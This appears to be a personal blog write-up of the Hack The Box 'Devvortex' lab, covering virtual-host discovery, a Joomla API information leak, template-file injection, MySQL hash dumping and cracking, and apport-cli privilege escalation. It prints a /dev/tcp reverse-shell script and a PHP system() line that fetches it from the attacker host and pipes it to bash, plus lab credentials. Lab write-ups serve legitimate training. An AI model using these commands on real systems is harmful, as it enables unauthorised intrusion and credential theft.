Site Logo
Niklas Heringer - Cybersecurity Blog
Cover Image

Popping Devvortex - Joomla Tricks, Template Shells & Summer Brain Fog

☀️ Prologue: Sweat, Scans & Static Sites

Here we go guys, i used my afternoon a bit to do HTB Devvortex, a Linux:Easy box with some interesting twists teaching me a lot of new stuff.

Disclaimer: This box was a really fun one tbh, because it is 35 degrees celsius outside, and while doing the box and melting in my chair, i lost track so often, wandered off, forgot what i was just doing, it was.. a blast haha.
Nevertheless a nice run. Enjoy!

Section 1: Recon & VHost Wrangling

Nmap & FFUF Warmup

A classic nmap-Scan got me started.

nmap -sS --top-ports 2000 -sV -sC 10.129.229.146

revealing just 22 and 80 - i decided against a UDP scan as that’s honestly sort of my last resort haha, on to the website.

echo "10.129.229.146 devvortex.htb" | sudo tee -a /etc/hosts

After visiting http://devvortex.htb, I found the homepage of a web development agency named DevVortex.

The site is static and not many sites are to be found:

ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://devvortex.htb/FUZZ -s -e .html,.php

# Results:
images
index.html
about.html
contact.html
css
do.html
portfolio.html
js

checked them all, just static content.

Image

This form threw me off for a minute - upon entry of data and sending it, the URL is appended with a ? - so i thought i’d fuzz parameters, excluding the encountered standard response length:

ffuf -u http://devvortex.htb/contact.html?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 8884

but found nothing - only the next scan would bring me the next piece to Devvortex’s puzzle.

💡 Fuzzing Tip: Always take note of consistent response sizes — it’s often just the default 404 body. Use -fs to skip it and cut the noise:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" -fs 154 -s
dev

ahh, what’s that? A Virtual Host!


Btw, what’s actually the difference between a Subdomain and a Virtual Host?

Were dev.devvortex.htb a subdomain, it’d be defined in DNS, pointing to a different IP. It would be discoverable via DNS Enumeration (amass , dnsrecon , etc.)

A Virtual Host (VHost), like the one at hand, relies on the Host header, which we set in the ffuf command above. Multiple VHosts can run on the same IP, and the web server.. well serves different content based on that header.

Subdomains need DNS resolution; VHosts only need the correct IP + Host header - even if DNS doesn’t list them!


The VHost Pivot

As we’ve heard, we can find it under the same IP:

echo "10.129.229.146 dev.devvortex.htb" | sudo tee -a /etc/hosts > /dev/null
1
2
3
4
5
6
7
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://dev.devvortex.htb/FUZZ -s -e .html,.php

index.php
...
api
...
administrator

Now the obvious choice is the /administrator/ dir uncovered.. but that took an additional minute, the heat got the better of me and i jumped into the uncovered API haha.

It was really interesting to find:

http://dev.devvortex.htb/api/:

{
  "errors": [
    {
      "title": "Resource not found",
      "code": 404
    }
  ]
}

an API not requiring Authentication.. we’ll see this beaty again later on. But not now, here i just tried a bit around, without success:

ffuf -w /opt/useful/seclists/Discovery/Web-Content/common.txt -u http://dev.devvortex.htb/api/FUZZ -H "Host: dev.devvortex.htb" -H "Accept: application/json" -mc all -fs 29

Once i got hold of the result http://dev.devvortex.htb/administrator/, i jumped to it.

Image

https://forum.joomla.org/viewtopic.php?t=263203 told me that while that the standard user in Joomla is admin, the password is set during installation, no standard existing.

In this forum, they talked about secrets often being present in http://dev.devvortex.htb/configuration.php.. interesting, that might come in handy later (spoiler: it will).


Being smarter next time: What to look out for in Joomla

Joomla is one of the most popular open-source CMS platforms. Let us quickly go over how and what to check for concerning Joomla.

Knowing the Version: joomla.xml & Friends

1. HTML Meta Tag: Many Joomla sites include a generator tag in the <head> section of the HTML:

<meta name="generator" content="Joomla! - Open Source Content Management" />

2. joomla.xml File: Check for the presence of:

/administrator/manifests/files/joomla.xml

This file often contains a line like:

<version>X.Y.Z</version>

3. Language File: Another place to find the version is:

/language/en-GB/en-GB.xml

or other language dirs.

4. README.txt: Some Joomla installations expose a README.txt in the web root, showing the Joomla version.

Once you know the Joomla version, look it up on Exploit-DB , CVE Details , or use tools like joomscan or joomlavs to check for known vulnerabilities.
You can also read more here about pentesting Joomla.


So that’s what i did, jumping to http://dev.devvortex.htb/administrator.php/manifests/files/joomla.xml and retrieving: <version>4.2.6</version>.

An interesting exploit to find about it: https://github.com/Acceis/exploit-CVE-2023-23752 . Or you just do it yourself:

curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true -vv

-vv activates very verbose output here, which might come in handy.

Alternatively, call it in your browser: Image

These infos give us the power to log in:

Image

Damn. That’s a lot. What should i start here with?


Section 2: Foothold


What to look out for inside Joomla

Once you have admin access (or access to the admin interface now, as we have), it’s important to manually explore areas where user-controlled code can be injected. Templates are a top candidate.

Where to Look in Joomla

Navigate to: System > Site Templates > [Template Name] > Details and Files

This area lets admins edit PHP files directly — including the homepage (home) or index.php, which is rendered on the front end.

BIG for us:

Always check under:

/administrator/index.php?option=com_templates

This is the main component for managing templates (com_templates), and sometimes directly exploitable via URL manipulation.

💡 Even without knowing the base64-encoded file=, you could fuzz that parameter or use the UI to find which templates/files are editable.


In my case, that path forward came under System > Site Templates > Cassiopeia Details and Files.

The idea to do something with error.php came to me, but I received a nudge on how to provoke an error when I’m ready.

Exploit Crafting Stage

This line creates a basic reverse shell script:

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.50/4444 0>&1' > rev.sh

It writes a shell script named rev.sh that, when executed, opens a reverse shell to my attacking PwnBox at IP 10.10.14.50, port 4444. The script uses /bin/bash as the shebang to ensure it runs in Bash, and then calls sh -i for an interactive shell . The key part is the redirect: >& /dev/tcp/... uses Bash’s built-in TCP connection feature to send the shell’s input and output over the network.

We must be locally listening with nc -lvnp 4444 to catch the shell.

At the end of the mentioned error.php, we put

<?php system("curl 10.10.14.50:8088/rev.sh|bash"); ?>

so that upon an error occuring/ the script executing, It’ll try to reach out and grab the reverse shell.

For that, we have to have our python3 -m http.server 8088 in-place locally.

Provoking the error & catching the Shell

We can then provoke via:

curl -k "http://dev.devvortex.htb/templates/cassiopeia/error.php/error"

In our Netcat listener:

connect to [10.10.14.50] from (UNKNOWN) [10.129.229.146] 51076
sh: 0: can't access tty; job control turned off
$ 

niiice hehe, although it seems we’re not done yet for our first flag:

cat: /home/logan/user.txt: Permission denied

First, we’ll stabilize our shell - i already explained this in length :D use it my friend.

cat /etc/groups
cat: /etc/groups: No such file or directory

# /opt is empty

# sudo -l not possible yet

But whoah, remember the image earlier?

Image

What does it say here at the very top? MySQL? That seems promising.

ss -tlpn
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port    Process                                                                         
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*                                                                                       
LISTEN    0         70               127.0.0.1:33060            0.0.0.0:*                                                                                       
LISTEN    0         151              127.0.0.1:3306             0.0.0.0:*                                                                                       
LISTEN    0         511                0.0.0.0:80               0.0.0.0:*        users:(("nginx",pid=860,fd=8),("nginx",pid=859,fd=8))                          
LISTEN    0         4096         127.0.0.53%lo:53               0.0.0.0:*                                                                                       
LISTEN    0         128                   [::]:22                  [::]:*                                                                                       
LISTEN    0         511                   [::]:80                  [::]:*        users:(("nginx",pid=860,fd=9),("nginx",pid=859,fd=9))

ss is the socket statistics, -t to show TCP connnections, -l to only show listening sockets, -p showing the port’s process, -n showing Adresses and ports numerically, not resolving them.

Hehe and indeed, MySQL is running. Remember how earlier, we found configuration.php? Well it is here, in our folder where we landed.

Another Mistake in the blistering heat

cat configuration.php
...
public $user = 'lewis';
public $password = 'P4ntherg0t1n5r3c0n##';
...

Should i have maybe, idk.. RETRIED THIS COMBINATION TO LOG INTO MYSQL? Maybe - why didn’t i? Brain fried, no memory found. The heat was too much, headaches were a welcoming friend throughout the whole session.

show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

---

use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

---

show tables;
...
sd4fg_users
...

---

SELECT * FROM sd4fg_users;

...
lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
...
logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
...

CrackStation can’t recognize the format, let’s go with hashcat.

1
2
3
4
5
6
7
8
9
cat > hash.txt
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

# returns:
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho

with that, finally:

ssh logan@10.129.229.146

cat /home/logan/user.txt

Nooow, onto a little..

Section 3: Privilege Escalation

sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

Doesn’t /usr/bin/apport-cli look tasty? https://github.com/diego-tella/CVE-2023-1326-PoC stimulates my hunger even further.

We need a fake .crash file in /var/crash for this exploit to work.

tee /var/crash/mytest.crash > /dev/null <<EOF
> Package: foo
> ExecutablePath: /usr/bin/foo
> ProblemType: Bug
> Date: $(date --iso-8601=seconds)
> EOF

then

sudo /usr/bin/apport-cli -c /var/crash/mytest.crash

V

!/bin/bash

Utilizing less here is so cool! I recently made a short tutorial on it, feel free to look it up

Okay guys, that was it. A very nice challenge at a very unconvenient time, but whatever - you don’t always have the luxury of postponing work.. - See you soon!